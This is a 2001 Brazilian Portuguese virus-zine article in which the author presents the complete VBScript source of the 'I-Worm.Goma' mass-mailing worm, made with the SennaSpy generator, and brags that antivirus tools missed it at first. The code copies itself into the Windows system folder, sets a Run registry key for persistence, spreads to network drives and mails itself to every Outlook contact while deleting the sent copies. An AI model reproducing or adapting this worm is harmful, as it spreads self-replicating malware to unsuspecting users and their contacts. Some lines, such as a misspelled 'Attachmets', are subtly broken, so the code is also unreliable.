 
                                 __   __
                           |  | |  | |__) |\/|
                           |/\| |__| |  \ |  |
 
 

   
     8 - I-Worm.Goma por nim_bus@hotmail.com
   

               Originais em arquivo .TXT sem acentuacao

        Estava para fazer um virus em bat e parei para pensar...

        Cheguei a conclusao que um tipo de virus soh nao  existe mais ,
   sumiu, tive a ideia de criar um virus em .bat que  pudesse se propa-
   gar via internet, por e-mail e pelo mirc, como script.

        Pensei, pensei e cheguei a conclusao que deveria  fazer um worm
   para alegrar o tal do virus, estava em tempos de "I LOVE YOU" e tal,
   tentei mexer com ele, mas sei la nao me dei muito bem com a  sintaxe
   e ripar nao era meu objetivo, ai encontrei o gerador  de  I-Worms do
   SennaSpy, ah, dito e feito, criei um, deu uma ajeitada, nas variave-
   is, coloquei m eu nome  na crianca, rodei  os avs e nenhum pegou, ai
   acho que  cabacei e devo ter mandado o virus pra alguem testar e al-
   gum araponga  interceptou a  mensagem e ja deu  nos dentes pos caras
   dos Anti-Virus e hoje o Avp ja  o detecta, mas tudo bem,quase nenhum
   usuario usa o Avp mesmo, eles gostam do Mcafee.

        Bom, os fontes do Worm, encontram-se abaixo, o worm eh um .VBS
   se propaga no MS-Outlook ( Aquele que vem com o Office, nem rola no
   Outlook Express, o que vem com o Internet Explorer ) mas jah eh uma
   evolucao do caralho, o virus poder mandar seu codigo via e-mail...

        O codigo nao esta comentado, mas os comandos nao sao complexos,
   e caso tenha algum problema, tem um montao de pagina na net com help
   de vbscript, eh soh procurar.

        Deixa de papo e ve se entende alguma coisa ...

 
      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
									     
 

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Goma Internet Worm (Made with SennaSpy Internet Generator 1.0)
' No bugs !!! 100% fully work. No comment's on code
' Mail to : nim_bus@hotmail.com
' Home Page : http://virusbrasil.8m.com
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
On Error Resume Next
Dim Copiar_arquivo, Alterar_Reg, Criar_OBJ, Contador, Enviar, Abrir_Outlook, Em_mapi, Lista_end, Entradas, Auxiliar 
Contador = 0 
Set Copiar_arquivo = CreateObject( "Scripting.FileSystemObject" ) 
Copiar_arquivo.CopyFile WScript.ScriptFullName, Copiar_arquivo.BuildPath( Copiar_arquivo.GetSpecialFolder(1), "Goma.vbs" ) 
Set Alterar_Reg = CreateObject( "WScript.Shell" ) 
Alterar_Reg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "GOMA", Copiar_arquivo.BuildPath( Copiar_arquivo.GetSpecialFolder(1), "GOMA.vbs" ) 
Set Criar_OBJ = CreateObject( "WScript.Network" ) 
Set Enviar = Criar_OBJ.EnumNetworkDrives 
If Enviar.Count <> 0 Then
   For Contador = 0 To Enviar.Count - 1 
        If InStr( Enviar.Item( Contador), "\" ) <> 0 Then
          Copiar_arquivo.CopyFile WScript.ScriptFullName, Copiar_arquivo.BuildPath( Enviar.Item( Contador), "GOMA.vbs" )  
       End If 
   Next 
End If 
Contador = Alterar_Reg.RegRead( "HKEY_LOCAL_MACHINE\" & "GOMA" ) 
Set Abrir_Outlook = CreateObject( "Outlook.Application" ) 
   Set Em_mapi = Abrir_Outlook.GetNameSpace( "MAPI" )  
   For Each Lista_end In Em_mapi.AddressLists 
       Set Enviar = Abrir_Outlook.CreateItem( 0 ) 
       For Entradas = 1 To Lista_end.AddressEntries.Count 
           Set Auxiliar = Lista_end.AddressEntries( Entradas ) 
           If Entradas = 1 Then 
              Enviar.BCC = Auxiliar.Address 
           Else 
              Enviar.BCC = Enviar.BCC & "; " & Auxiliar.Address 
           End If 
       Next 
       Enviar.Subject = "Goma" 
       Enviar.Body = "Goma para sempre !!!!" 
       Enviar.Attachmets.Add WScript.ScriptFullName 
       Enviar.DeleteAfterSubmit = True 
       Enviar.Send 
   Next 
Alterar_Reg.RegWrite "HKEY_LOCAL_MACHINE\" & "GOMA", Contador + 1 
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

        Bom, o mecanismo de envio do worm eh muito simples, ele copia -
   se para o  diretorio do "\windows\system\", cria uma chave no regis-
   tro em "Run" e a cada execucao do windows ele estara ativo soh espe-
   rando a oportunidade de poder enviar-se via Ms-Outlook para o mundo.


                                   E' isso, sem mais,
                                                     nim_bus@hotmail.com

     
                       Copyright  2001, Vrus Brasil 
 
